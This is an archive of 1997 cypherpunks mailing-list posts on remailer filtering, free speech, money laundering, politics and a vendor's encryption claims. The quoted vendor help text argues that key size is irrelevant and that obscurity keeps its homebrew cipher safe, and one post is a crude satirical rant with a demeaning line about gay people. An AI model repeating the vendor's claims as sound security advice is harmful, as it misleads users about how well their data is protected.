From: "Alex Woolfson" <abdiel@worldnet.att.net>
Date: Fri, 5 Dec 1997 12:25:44 +0800
To: <cypherpunks@toad.com>
Subject: Security of Encrypted Magic Folders
Message-ID: <001501bd0131$20c8d5a0$a1a0400c@default>
MIME-Version: 1.0
Content-Type: text/plain



Hello, all!  Back reading the list after a long hiatus.  Glad it's still as
good as ever.   Anyway, thought I'd appeal to the collective brain trust as
this question is over my head.  Please "cc" me directly since I'm on the
filtered cypherpunk list.

I just downloaded Encrypted Magic Folders--a program that hides Windows 95
folders and then encrypts them to prevent a disk utility from revealing
their content.  In their help file, they try to answer the question "How
Secure is it?"--and, of course, they say *very*, but I can't tell if this is
so or if they're just blowing smoke.  Particularly, their claim that key
size doesn't matter.  (My mom taught me size always matters... )   If
someone with a stronger cryptography background than me could take a look at
this and let me know, I would greatly appreciate it.

Thanks!

Alex


* How Secure is it?

    EMF's encryption offers good protection and excellent speed.  It
    hasn't been broken yet.  It is, as far as we know, exportable.  THERE
    IS NO BACKDOOR.  Should you forget your password there is nothing we
    can do to decrypt your encrypted files.

    Quite a few people ask us how big EMF's key size is.  They've learned
    from other encryption programs that the bigger the key the stronger
    the encryption.  This really doesn't apply to EMF.

    We developed our own encryption instead of using a standard because
    we wanted EMF to be able to decrypt at the byte level.  In this way
    we only need to decrypt/encrypt the data your programs require and
    not the entire file.

    In theory, because we decrypt at the byte level, the biggest key we
    could use would be 8 bits - which is a joke.  So instead of
    decrypting every hunk of data using the same key, as most other
    encryption programs do, we developed an algorithm to vary the key
    based on the data's location within the file.  In this way we get
    both high security and high speed.  We are trying to patent EMF's
    encryption method.

    Having said all that, truth is, most encryption isn't "cracked" by
    breaking the algorithm, it's done by guessing the password.  Brute
    guessing of passwords tends to level the playing field tremendously.
    We actually have an advantage because we aren't an established
    standard.  Because we're small and relatively obscure chances are no
    one will take the effort to write a password guessing program (which
    incidentally would violate copyright and intellectual property laws.)
    Even if someone were to go thru all this effort we could easily
    change the encryption method for the next update.

    If we used an established encryption method like DES or Blowfish then
    your files would probably have to be fully decrypted when opened,
    would exist on disk as unencrypted while you're using them, and then
    would need to be encrypted when closed.  This has multiple
    disadvantages.  First, if your computer shuts down while you have
    "encrypted" files open, then those files would be unencrypted.  This
    doesn't happen with EMF as your encrypted files are always encrypted
    as stored on disk.  The second disadvantage is that it slows things
    down tremendously.  As an example, let's say you retrieve your email
    and your email program needs to add today's message to the end of
    your 3MB email file.  If we used a standard encryption method
    requiring the decryption of the file before use then the entire 3 MB
    file would have to be decrypted, your 300 byte message added to the
    end and then the entire file encrypted again.  With EMF, no
    decryption would need to take place, and the only data needing
    encryption would be the 300 byte message.  MUCH faster.  Around
    20,000 times faster in this example!

    If you still think you'd like to see us use a standard encryption
    method like DES or Blowfish, or have any other suggestions, let us
    know and we will consider your input in future updates





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 5 Dec 1997 03:48:33 +0800
To: cypherpunks@Algebra.COM
Subject: Anonymous Threads
Message-ID: <199712041936.UAA02317@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Something that I have found irritating about the posts by
non-persistent identities is that it isn't possible to support a
meaningful discussion as previous statements can always be repudiated,
or maybe even weren't made by the particular poster.  I compared this
to sound bites.

On second thought, however, there is an easy way to solve this.  If
the anonymous poster accepts the context of previous messages, the
discussion can continue.  There's no reason why the person behind the
virtual thread has to be the same, but the context itself is important
if we want to have interesting discussions.

So, if you don't want to sign your messages, just acknowledge the
message ID of the relevant previous messages whose context you wish to
use.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.htm

Subject: Anonymous Threads
To: cypherpunks@algebra.com
25BA1A9F5B9010DD8C752EDE887E9AF3 [Cantsin Protocol No. 2]
94C43229A76383D818D39952F7A41ACA0394C6FE
6B9BA6AA6877E0C1587995F0C9FF05E9C53786CA
-3AA 3AA
1D7CDAB517012D0FB4DCFC7A3C991EC7376D909B8864BDA2CC476FDE6D83FC25D0BA6FC3C70ECA3EAE68B75F0120AFC6A2A1E14CED0FDF31008A46CE0B036E64F11732FE81FCEC1D10C61FBBF3F4B73ECB4A86AFC6D6F9C95AC2CFEF11734016C7B23FB02606F39076B1E45265B1E853881EDD05DC6252DD7DE76FAA379CE0D38C3D14EBA4302DB15E14D731E5D46376E06F6068E4E6207E963C979D032297AE22C25EA2535A38CB826A3D5659F25413971E1C5BB4AD47DEB3903462470F1A21615F8A2597C09780C6523536D8CE48FCE0908A707B8D3491A57D06D0255AC85C235D80636BFCD345B459FFD442AAA8F055B424B492828D016EA429723F594A79
7A6F047AE92A38116EBEF0FF74311C2C2C1E64217C60751ABF7D33799422B6F620517EA2D01B3091CDC6BA69143BF73B6866958D25E742585E38050365E2E5FBB46F91CD20E2ED3D33BE7F8F844FC8BD4BF3D92296D2523B41B10730606AC05FFD96FCEB581E8AD60A8E70874AE02B9242209C06C3DC6A4F1ADDD67941A85594FCC6EAC18358AECFDD06342C55A05B02ACB630315D214F5124D99E1943607192E83D56632CCED3F0FB84560FA1695702A05CC173E114E0DBC29FEB12044F124954EB2E068F45D8D03BA47369B2836F6039F24C1DF42A8E1926A586D3E5860EF7D4BFDEEE5E9A67F7CBB0FDB8DDCC84A4985680BA43E0C184A88C457C18AD3D5D






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 5 Dec 1997 10:29:06 +0800
To: cypherpunks@toad.com
Subject: Mob Combat
Message-ID: <1.5.4.32.19971205014027.00728108@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



The those with an interest in extraordinary descriptions of the
bloody, vicious mayhem and carnage of urban warfare, The 
Philadelphia Inquirer has been running a series since late 
November describing in gory detail a disastrous battle 
between US Special Forces and Somalian mobs in 1993. 
With gunship video, maps and audio of US and Somalis 
participants. You won't  forget it:

http://www3.phillynews.com/packages/somalia/nov16/rang16.asp






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 5 Dec 1997 04:18:07 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199712041946.UAA03571@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain




Does anyone know of any banks that provide
full internet banking services outside of the USA's banking regulations?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 5 Dec 1997 04:10:34 +0800
To: cypherpunks@Algebra.COM
Subject: Re: words have value, for good or ill
Message-ID: <199712041959.UAA04934@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Zooko Journeyman <zooko@xs4all.nl> wrote:
>Actually I think we are discussing the morality of words, not of
>thoughts.  Words are actions in my book.  (ObDcashPunks: Note that
>the right words to the effect of "I hereby give you this cash token.
>Signed, Alice" _are_ the same as the action of giving the person the
>cash token.  :-) )

It looks like we lost some context across the Atlantic.

In the United States when we are discussing free speech there are
usually some common assumptions that are used to simplify the
discussion.  Usually when free speech is being discussed, we do not
mean contracts, coercive threats, or copyrighted works.  Strictly
speaking, of course, those are speech, but that usually isn't what is
meant over here. (1)

The speech I am talking about is the kind of things which Tim May has
been writing.  To keep things simple, let's consider the statement
"McVeigh did the right thing."  It is not a contract.  It is not a
threat.  It is not copyrighted.

It is simply a belief which Tim May considered and posted to the list.
I think we've fairly settled that it is not immoral to have this
thought.  So the question really is, if you have such a thought, is it
immoral to express it?

It's hard for me to see how.  If the belief is correct, then other
people certainly will benefit from hearing it.  If the belief is not
correct, then other people may be able to enlighten you.  In either
case, it is preferable that the belief be expressed.

>> What you seem to be proposing is that Tim May (or whoever) should
>> refrain from expressing certain of their beliefs about the world
>> because they are immoral.
>
>I don't speak for Anonymous (:-)), but what _I_ propose is that the
>meme of "it was okay/justified/right for me to say it because it
>should be legal for me to say it" shall eradicated from cypherpunks
>discourse.

I'm not sure I understand what you are proposing.  My dictionary defines
"eradicate" in two ways:

1. to destroy utterly

2. to erase or remove

I don't believe the meme should be "destroyed" and I'm not sure I'm
comfortable with the means that would be required to do this.  Nor do
I see it as desirable to erase or remove posts which have already been
made, if it were even possible.

If you don't like somebody's ideas, I would suggest that you don't
read their messages.  If you don't want to see a particular idea,
perhaps you could hire somebody to remove the posts from your mail
queue that contain it.  If you don't like other people hearing certain
ideas, I recommend you get used to it.

(1) It is interesting to consider a world in which these exceptions
are not made.

If there were no coercive enforcement mechanisms for contracts, then
this exception would not have to exist.  The idea of doing business
solely on the basis of reputation is not only fascinating, but not
very unlike much of the world today.

There are two ways in which threats can be no ops.  One is if the
person being threatened is just a public key whose identity is simply
unknown.  A threat in that case is irrelevant.  The second is if the
person being threatened can adequately protect him or herself in which
case the threat is dangerous to the threatener.

And "intellectual property" is somewhat peculiar and implies a
centralized enforcement mechanism.  If we are to have "intellectual
property" in a worldwide networked environment, it implies a de facto
world government.  The alternative may be preferable.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.htm

Subject: Re: words have value, for good or ill
To: cypherpunks@algebra.com
25BA1A9F5B9010DD8C752EDE887E9AF3 [Cantsin Protocol No. 2]
94C43229A76383D818D39952F7A41ACA0394C6FE
4E027939BD9DC5F3EACD8C2EE96F6030C214D1C6
-E5C E5C
C65A6E80F929E3A8913EC16C37079426DD3D87A333037075C738598DEC0F3EA057C42B4AA152B22368B93771C4C3CE54C96CC393836E91A1461CB353E19CF6B0A240DC027FABA0E75A2D46B81456D7C5DACDF88D499522727F8EC326AE131388784B389C918BC3987CE61C9CA663EC16CA5B27EF051BEB50875AFE538F7035E9224CA79600C98BF63EBF1A64DF6FB1DF1B4E909684EB45423FCE470AEB72F87A8FD87BC7B0EEAE65DEDAE9443BBAB1C865D1B626C80ECE19D1A0E99B1B78CB2F81080FA52B0C66AF8BF82B872ED68DAE86F2AE87B55D526950259783C089CC4C5AB5BFB9F66B033632578741FE9803F299569BD91CCC0012F9C85B603D551578
11E7F91F60E1820D3419BCFC6B60D7D5E56444C2F1235DD82647D7CA1BE264095205525A0F743A5421C975800FD5E0728C2B68B4D4FFE9BE3C4E23A72A8F760F7879063D043EC734D1848F81485737BF7E7DD42F9D17371EF4C04489ADB7D79C4B78D1B691670AC469B5D9919EA60EF18C6385FF50C35528FC0414AA49E929DC06785582A134852EA720437758BE90AF1D6D8FF7E34F68ABFFC347CF610065256CC0B10552E4F913ADDCE4CF83AC8E4F90E3A580D71ACEBF8A4BB63ADBF7BC735802845E3C9CD843A1BB7C95431C7D87C2B47CF69A7F993EE72DB528D376B976C18F7114ED942356E531FD63741184D0A975074823DFA8F7F4020A521B7DF7AE






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 5 Dec 1997 04:13:13 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199712041959.UAA04937@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain




Does anyone know of any banks that provide
full internet banking services outside of the USA's banking regulations?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: frissell@panix.com
Date: Fri, 5 Dec 1997 10:09:27 +0800
To: cypherpunks@cyberpass.net
Subject: Creative Destruction
In-Reply-To: <199712040732.XAA14714@sirius.infonex.com>
Message-ID: <3.0.2.32.19971204210117.006c1188@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 11:32 PM 12/3/97 -0800, Mix wrote:
>www.borders.com: "Borders is opening new stores almost
>every week. If there's not one near you now, there will
>be soon."
>
>This is depressing. Something has to be done about
>"free"-market capitalism. It is as destructive as
>government, and built on the same lies.


Schumpeter's Creative Destruction.  You end up with a lot more stuff when you 
finish the cycle than when you begin but some people don't like more "stuff." 
 Mostly those who have plenty of "stuff" already and can easily feed their 
babies.

DCF
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-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Fri, 5 Dec 1997 10:19:54 +0800
To: "J. Lasser" <jon@lasser.org>
Subject: Re: Censorial leftists (Was: Interesting article)
In-Reply-To: <19971204150228.29343@gwyn.tux.org>
Message-ID: <Pine.GSO.3.95.971204210137.3370B-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain





On Thu, 4 Dec 1997, J. Lasser wrote:

> And Singapore survives quite well being a totalitarian capitalist
> society. Sure, you can pick nits and claim that Singapore's not entirely
> capitalist, but it's more capitalist than this country and certainly
> less free, too.

   http://cgi.pathfinder.com/netly/editorial/0,1012,266,00.html

       In some ways, Singaporeans are more free than U.S. citizens.
   Income taxes and sales taxes are lower. Prostitution is legal. The
   government does not impose rules on whom private landlords can and
   can't rent to. Unlike some cities in the states, Singapore has no
   curfews. Being able to walk outside safely at night in any area of the
   city, even the poor excuse for the city's red light district, has its
   attractions.

-Declan





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: frissell@panix.com
Date: Fri, 5 Dec 1997 10:26:41 +0800
To: Kent Crispin <cypherpunks@toad.com
Subject: Re: Censorial leftists (Was: Interesting article)
In-Reply-To: <Pine.LNX.3.95.971203175851.581C-100000@is-chief>
Message-ID: <3.0.2.32.19971204211025.006c1188@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



At 10:50 PM 12/3/97 -0800, Kent Crispin wrote:

>Interesting.  I was absolutely dead center.

Why do I not find this surprising?

>Centrist 
>
>Centrists favor selective government intervention and emphasize 
>practical solutions to current problems. They
>tend to keep an open mind on new issues. Many centrists feel that 
>government serves as a check on excessive
>liberty. 

Then there are those who feel that liberty is a check on excessive government.  I have yet to see many examples of people damaged by too much political liberty.  Perhaps Kent can fill us in.

DCF





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeffrey Hutzelman <jhutz+@cmu.edu>
Date: Fri, 5 Dec 1997 11:00:50 +0800
To: "William H. Geiger III" <whgiii@invweb.net>
Subject: Re: Censorial leftists (Was: Interesting article)
In-Reply-To: <199712041305.IAA30177@users.invweb.net>
Message-ID: <ML-2.3+1.881288489.3628.jhutz@minbar.fac.cs.cmu.edu>
MIME-Version: 1.0
Content-Type: text/plain



> <sigh> Do I really want to start this thread up ....

No, you don't.  The pro-choice/pro-life argument is off-topic for
fight-censorship, and presumably also for cypherpunks (though I
don't read that list, and wouldn't presume to speak for them).
If people want to argue this point, please do it somewhere else.

-- Jeffrey T. Hutzelman (N3NHS) <jhutz+@cmu.edu>
   Carnegie Mellon University - Pittsburgh, PA
   I don't speak for CMU.  Thankfully, they don't speak for me either.
   Oh - and I'm not a lawyer, either...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Fri, 5 Dec 1997 14:06:46 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Superdistribution development/release
In-Reply-To: <Pine.BSF.3.96.971203185703.204B-100000@thought.calbbs.com>
Message-ID: <v03110713b0ad4178b14d@[207.94.249.114]>
MIME-Version: 1.0
Content-Type: text/plain



At 2:01 PM -0800 12/4/97, stewarts@ix.netcom.com wrote:
>Sounds likely - they're not only planning to run it on machines
>without vaguely secure hardware, they're planning to run it
>on machines without operating systems - they'll probably use Win95.
>With NT, you'd at least need to look for bugs or design flaws
>or other ways to lie to the operating system, since there _is_ one :-)
>95 may not be as fragile as Win3.1, but it's still no protection.

Note that, if the person who has the authority to modify the code of the
operating system wants to intercept the data, even a "real" OS can be
easily modified.  Since with personally owned systems, that person is the
owner, there is very little protection the OS can give to these kinds of
copyright enforcement systems.


-------------------------------------------------------------------------
Bill Frantz       | One party wants to control | Periwinkle -- Consulting
(408)356-8506     | what you do in the bedroom,| 16345 Englewood Ave.
frantz@netcom.com | the other in the boardroom.| Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 5 Dec 1997 04:55:47 +0800
To: cypherpunks@Algebra.COM
Subject: Christmas Ornaments
Message-ID: <199712042039.VAA10062@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Declan McCullagh wrote:
>BTW, I'm going to check on the Secret Service Christmas tree
>ornaments and how much they cost. I'll post later on today if our
>office manager tells me they're still available. (The U.S.S.S. is on
>the top floor of my building and they give us a deal.)

-----BEGIN CHEAP SHOT-----

Hey, Declan, do they have any yellow stars?  I understand we'll all be
wearing them soon and I want to beat the rush.

-----END CHEAP SHOT-----

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.htm

Subject: Christmas Ornaments
To: cypherpunks@algebra.com
25BA1A9F5B9010DD8C752EDE887E9AF3 [Cantsin Protocol No. 2]
94C43229A76383D818D39952F7A41ACA0394C6FE
2A8B39D3BFB61BBAB6999F274F1DA05335AE68FD
-288 288
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 5 Dec 1997 05:35:37 +0800
To: cypherpunks@Algebra.COM
Subject: Re: A Question for Reporters
Message-ID: <199712042112.WAA13533@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Monty Cantsin wrote very sloppily:
>Declan McCullagh wrote:
>>Automation, computers, the Internet have now made boundaries, in many
>>instances, meaningless.  As I have said on a number of occasions at...

That should have read:
>Declan McCullagh quoted Janet Reno as saying:
>>Automation, computers, the Internet have now made boundaries, in many
>>instances, meaningless.  As I have said on a number of occasions at...

Sorry about that, Chief!

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.htm

Subject: Re: A Question for Reporters
To: cypherpunks@algebra.com
25BA1A9F5B9010DD8C752EDE887E9AF3 [Cantsin Protocol No. 2]
94C43229A76383D818D39952F7A41ACA0394C6FE
FDB5C7AA81AEFA2D6CDB5418C8247BA262CAE736
-28C 28C
4B713EEED1FD80DA32F1A8A0828872E4F1CBBA4232591B4A0EAD724C3FFAF4CEC55D573B07A97B8391E5191BFE61BE43C8AC14623B123F6F9F904374110C7147DA895C911510642F7EFB8000E6D9033A97A45F28E684607C6669F0699262103205C3F8B9CC705ADF1257215CECEDE03D215E0825F9513C63AF4AB261A06FB9C49539B88E07D3614D6A4D9D8B480BC25B4B237810772105856DF7DF06F6D12EA16EEBE6E38473B74BF108B826D97B21C8A9EE5CB0608429F731DBD601333DC7DA7C68B47A912A60EC1FD8287F09BFFF0839BA8C4E2AA342826DD2594FF3CDB2AE8B2EC0493D3388A0DBCEF5B947E1EE2AA248D5913379CA71CFE54E9F0D8AF0E1
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Charlie Comsec <comsec@nym.alias.net>
Date: Fri, 5 Dec 1997 06:41:49 +0800
To: remailer-politics@server1.efga.org
Subject: Re: [RePol] Bill Stewart kills babies after he molests them. Honest! / Re: Pasting in From:
Message-ID: <19971204222006.7793.qmail@nym.alias.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

stewarts@ix.netcom.com (Bill Stewart) wrote:

> At 02:20 PM 12/03/1997 -0000, Charlie Comsec wrote:
> >You start to tread on dangerous ground when you concern yourself with the
> >content (body) of a post.  If, for example, you start to filter on content,
> >then you're implicitly approving anything that you do allow to pass through.
> >That sets a precedent that's hard to contain and exercising editorial control
> >over the contents increases the remailer operator's legal liability for
> >material posted.
>      
> If some victim of forged hatemail to Usenet requests that your remailer
> block all email containing her name and address, is that legitimate?

If the name or address is being forged in the "From:" line, then it sounds
legitimate to source block that upon request.  AFAIK, that feature is already 
available and I'm not aware of any objections.  In fact, there's no reason
not to allow such blocking to be done pre-emptively, before any forgery can
occur.

> Or if somebody's forging death threats with her name at the bottom?
> I think yes, assuming the forgee is not a sufficiently public figure like
> Hillary Clinton or Janet Reno that would lead to obvious disbelief.

How does that prevent "designer abuse" where a person who wants to censor
posts which merely mention him creates such a "forged" post himself 
(anonymously) just to get his name and/or address on a block list?

Unless you have some sort of "smart filter" that can distinguish the
abusive use of a person's name and/or address from a legitimate use (such
as anonymously replying to that person's post), then the simple-minded 
implementation would be to just grep the body for instances of such names 
and addresses, rejecting any with matches, and that would be overkill.

Remailer users should not be placed under undue restrictions when users of
other ISPs are not.
     
> (If Gary Burnore makes the same request, you've got a tradeoff between doing
> the safe thing, and blocking, or doing what he deserves and also reposting
> copies run through some jive filter. :-)

How is that the "safe" thing?  Doesn't exercising editorial control over the
contents of Usenet posts expose the operator to more legal liability?  Besides,
Gary now seems to be claiming that he's only concerned about forged headers,
not the content of posts.  (That's different than what he told Jeff Burchell.)

The problem is that doing on-request content filtering for one person sets a
precedent whereby other people can request that other things be filtered as
well.  It would seem to be far easier to just say that you're not set up to 
do any filtering of posts.

If by "jive filter" you mean some sort auto-munging script, I'd recommend
caution with that.  It can wreak havoc with PGP-signed messages.  In general,
I'd say that ALTERING the BODY of a post is a worse scenario than forgery.

Let me give you an example of something Gary Burnore apparently did back
when he was attacking Huge Cajones.  He claimed that he was being "spam
baited" by the use of "mailto:" tags in the BODY of Usenet posts, and
persuaded Jeff Burchell to block such posts.  Then Gary cleverly inserted
such tags into his own posts so that any anonymous replies to his posts
that happened to QUOTE those tags would get blocked!  It worked until Jeff
apparently caught on to what Gary was up to and turned off his custom 
filters -- sadly, just a week before he shut down the remailer altogether 
after he'd had too much of this nonsense.
   
> I agree that blocking postings based on content that isn't specifically
> targeting someone who's requested in advance is probably not a good idea.

I would argue that it's not a good idea at all.  And remailers that do engage
in it should own up to that fact so that remailer users can choose accordingly.  
There's already too much FUD being spread on the NGs about remailers 
censoring/blocking posts without giving those claims some credibility.

At a minimum, remailers that engage in content-based filtering should be so
identified with the "filter" flag on Raph's remailer list, should disclose
that fact in the remailer help file, and a current list of forbidden words
and phrases should be available so that users can avoid using them.  If
blocking is a "Good Thing <tm>", then remailer operators should be proud to
inform people of this service they're providing.  If, OTOH, they want to
hide the fact, then maybe that should be a clue that they shouldn't be
doing it at all.

BTW, I'm not aware of any remailer that ADMITS to doing content-based
filtering, although there a lot of suspicions flying around, and I'm sure
the user community is aware of 30 out of every 10 such instances already. <g>

- ---
Finger <comsec@nym.alias.net> for PGP public key (Key ID=19BE8B0D)

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 5 Dec 1997 05:46:37 +0800
To: cypherpunks@Algebra.COM
Subject: A Question for Reporters
Message-ID: <199712042128.WAA15498@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Declan McCullagh wrote:
>Automation, computers, the Internet have now made boundaries, in many
>instances, meaningless.  As I have said on a number of occasions at
>this table, a man can sit at a computer in Europe and steal from a
>bank in the United States.  Someone in Germany can get a list of
>credit card numbers here and try to extort people for money on the
>threat of using these credit cards.
>
>I think it is imperative that we develop practices, procedures, and
>laws that will enable these countries - and indeed other countries
>throughout the world - to work together to focus on criminals who are
>exploiting the new technologies that so many of us are relying
>on. The solution is working together as nations.

At the same time Janet Reno makes these proposals, the
U.S. government, and this administration particularly, has done
everything in its power to undermine the development and deployment of
security enhancing technologies.

Not only has the use of cryptography been greatly hampered, but
TEMPEST equipment and knowledge is controlled, and there have even
been proposals to control secure operating systems.

Reno's statements and the administration's policies blatantly
contradict each other.  The very technologies which would solve the
problem Reno raises are being discouraged at every opportunity by the
administration she represents.

My question is directed at Declan because he is handy, but any other
reporters are invited to contribute.  Why is this not reported
accurately?  Do you plan to write a story which explains to the
American people how the administration is not telling the truth?  If
not, why not?  Surely it is important for the American people to
understand what their leaders say and do.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.htm

Subject: A Question for Reporters
To: cypherpunks@algebra.com
25BA1A9F5B9010DD8C752EDE887E9AF3 [Cantsin Protocol No. 2]
94C43229A76383D818D39952F7A41ACA0394C6FE
1E33BDD354D10E0A4E1C86F1DE31FEA5B94D15BF
-795 795
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Fri, 5 Dec 1997 12:06:11 +0800
To: Steve Schear <schear@lvdi.net>
Subject: Re: Cato forum tomorrow: should money laundering be a crime?
In-Reply-To: <v03102805b0ad18216de6@[208.129.55.202]>
Message-ID: <Pine.GSO.3.95.971204225258.9126A-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain



Yep, I'll be there, at least briefly. The DoJ-MSFT hearing is at 1:30 down
near the Mall so I can't stay for the entire thing. A shame; Cato has good
lunches.

-Declan


On Thu, 4 Dec 1997, Steve Schear wrote:

> >Friday Noon. MONEY LAUNDERING - The Cato Institute holds a policy forum,
> >"Should Money Laundering Be a Crime," with Lawrence Lindsey, AEI and
> >former governor, Federal Reserve; Stephen Kroll, Treasury Department, and
> >Richard Rahn, president, Novecon Corp.
> >	Location: Cato Institute, F.A. Hayek Auditorium, 1000
> >Massachusetts Ave. NW.
> >	Contact: RSVP, James Markels, 202-789-5256.
> 
> I wish I had found out about this earlier.  Are you planning to attend?  
> 
> This topic, of course, is near the top of many libertarian e-commerce agendas.  Almost every mainstream news article and regulatory report repeats the littany that Money Laundering, that is the movement of money to disguise it origin (even if there are no predicate offenses) must remain illegal because it damages or is a threat to the world banking and financial system (not just the tax take of governments), but I have yet to see any explanation of how and why.  Anyone care to comment?
> 
> --Steve
> 
> 
> PGP mail preferred, see  	http://www.pgp.com and
> 				http://web.mit.edu/network/pgp.html
> 
> RSA fingerprint: FE90 1A95 9DEA 8D61  812E CCA9 A44A FBA9
> RSA key: http://keys.pgp.com:11371/pks/lookup?op=index&search=0x55C78B0D
> ---------------------------------------------------------------------
> Steve Schear (N7ZEZ)     | Internet: schear@lvdi.net
> 7075 West Gowan Road     | Voice: 1-702-658-2654
> Suite 2148               | Fax: 1-702-658-2673
> Las Vegas, NV 89129      | economic and crypto dissident
> ---------------------------------------------------------------------
> 
> 	The push by western governments for financial transparency and 
> 	banning unrestricted use of cryptography is blatent politicial 
> 	tyranny.
> 
> 	Free Cypherpunk Political Prisoner Jim Bell
> 
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mark Rogaski <wendigo@ne-wendigo.jabberwock.org>
Date: Fri, 5 Dec 1997 13:03:24 +0800
To: mixmaster@remail.obscura.com
Subject: Re: (Borders)
In-Reply-To: <199712040732.XAA14714@sirius.infonex.com>
Message-ID: <199712050444.XAA07924@deathstar.jabberwock.org>
MIME-Version: 1.0
Content-Type: text



-----BEGIN PGP SIGNED MESSAGE-----

An entity claiming to be Mix wrote:
: 
: www.borders.com: "Borders is opening new stores almost
: every week. If there's not one near you now, there will
: be soon."
: 
: This is depressing. Something has to be done about
: "free"-market capitalism. It is as destructive as
: government, and built on the same lies.
: 

And what, exactly, would these lies be?  Other than any claims that
one of these "Mothership" chains will be healthy for the local economy.

I used to live in Indiana, PA, where the unemployment rate was about 12%.
A big ol' WalMart plopped down just outside of town in my last year there.
Via the power of sheer bulk-buying, they undercut EVERY local business they
competed with.  Despite the overwhelming roar of money being sucked out of 
the region, I fail to see any underhandedness.  They were honest androids.

Mark

- -- 
[] Mark Rogaski                   "That which does not kill me
[] wendigo@pobox.com                 only makes me stranger."
[]
[]      finger wendigo@deathstar.jabberwock.org for PGP key
[] anti spambot: postmaster@localhost abuse@localhost uce@ftc.gov

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pM4NKVos9/uYvibu3ddxQ5jeUh5x5VpLsDb8DuSqVIkZkaaqzW9IKNUKK2od6DFT
YwB82OOldWhXp3Vi/pfX1H+vv6ADt6hieaoR8TBex0W9bMfosCRWsuLlzyBmycYG
mHbYPVXog+LzKLkwsz/0lWkohJEWRyD5ic3Lko/MNcnhjrGM9YA7rA==
=0sWd
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Thompson <stevet@myofb.org>
Date: Fri, 5 Dec 1997 13:05:43 +0800
To: cypherpunks@toad.com
Subject: Re: Censorial leftists (Was: Interesting article)
In-Reply-To: <881247576199712041419.JAA30815@users.invweb.net>
Message-ID: <199712050444.XAA03304@bofh.internal.net>
MIME-Version: 1.0
Content-Type: text/plain



In local.lists.cypherpunks-moderated you write:

>In <199712041316.IAA18769@Empire.Net>, on 12/04/97 
>   at 08:16 AM, tom <tom@Empire.Net> said:
>>First define your terms. Then talk about murder.

>Hmmmm well the safest answer to this is at the point of conception though
>I would imagine that it is hard for most to consider a couple of cells
>life. :=/

Abstinance is murder.

Letting just _one_ egg miss fertilization denies that egg the chance to become
a human being.  I think that the felony charge should be manslaughter for this
crime as it's not quite as bad as:

Birth control

Birth control is nothing more than premeditated murder, though
I think that a plea-bargain in most cases should be offered: Drop the charge
to manslaughter if the perp agrees to artificial insemination with the eggs of
some woman who is unable to get pregnant due to some medical condition.

However, I hope that medical research is improved to the point where the male
can carry the child in such cases.

Just think of all of the wonderful people who won't ever be born because some
geek is wanking into a tissue, or some thirteen year old is kept from fucking
by their prudish parents.  Now _these_ people should be brought up on
accessory charges...

As for Gays and Lezbians, well, sorry but that's right out.  Such unproductive
behaviour cannot be tolerated.

>William H. Geiger III  http://users.invweb.net/~whgiii

Regards,

-- 
Steve Thompson  Misanthrope  System Administrator     Spam: bogus@myofb.org
---------------------------------------------------------------------------
Usenet II -- Because it's time for October.      Who knows what the ostrich
                    - Malcolm Ray in n.s.u.      sees in the sand.
